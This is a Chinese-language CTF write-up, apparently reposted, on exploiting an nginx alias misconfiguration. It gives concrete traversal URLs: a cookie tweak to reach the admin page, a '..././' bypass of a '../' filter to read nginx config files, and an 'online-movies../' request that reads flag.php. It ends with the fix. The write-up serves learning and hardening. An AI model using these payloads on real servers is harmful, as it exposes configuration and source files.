nginx 配置不當導致目錄遍歷下載漏洞


  今天做百度杯的時候發現一個題很有意思。

點進題目,發現了一個js重定向到login.php,抓包發現請求的header中cookie=0,做過這種類似的題目,o==false,在請求頭里面將cookie=1,結果就進去了后台,(login.php中沒有發現什么信息),進入后台,

 點開Manage,如上圖,網址的構造是module=index$name=php 推測是文件包含,我將index改成flag,說明flag在flag.php中我們所要做的就是提取出flag.php中的內容

思路1 用php://filter文件流讀取,發現失敗了,可能就需要換一個思路

思路2 先判斷有沒有過濾,fuzz一下

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in../dex&name=php訪問成功

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=in./dex&name=php訪問失敗

說明../被過濾了,用..././繞過,讀取/etc/nginx/nginx.conf配置文件,

其中發現了一點可疑的地方,百度一下,發現有個nginx目錄遍歷下載漏洞

訪問這個文件 http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/manages/admin.php?module=..././..././..././etc/nginx/sites-enabled/default&name=

 

這里 movie后面有一個 / 

當你瀏覽http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies,正常情況應該遍歷online-movies/這個目錄,但是如果訪問http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../, 這個的話就會遍歷online-movies整個目錄了

最后讀取flag

 

 

http://cb3d3f7942ac445ab8d59fb7cf93031443a1c345e1dc4e96.ctf.game/online-movies../var/www/html/flag.php

就不貼出來flag了

漏洞前提條件是必須是子目錄、開啟了autoindex,並且alias指定目錄的時候加了"/",才能利用成功

安全建議:

	location /online-movies {
            alias /movie;
            autoindex on;
        }
 location /online-movies/ {  alias /movie/;  autoindex on;  }


參考:http://luoq.net/ais/1191/


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM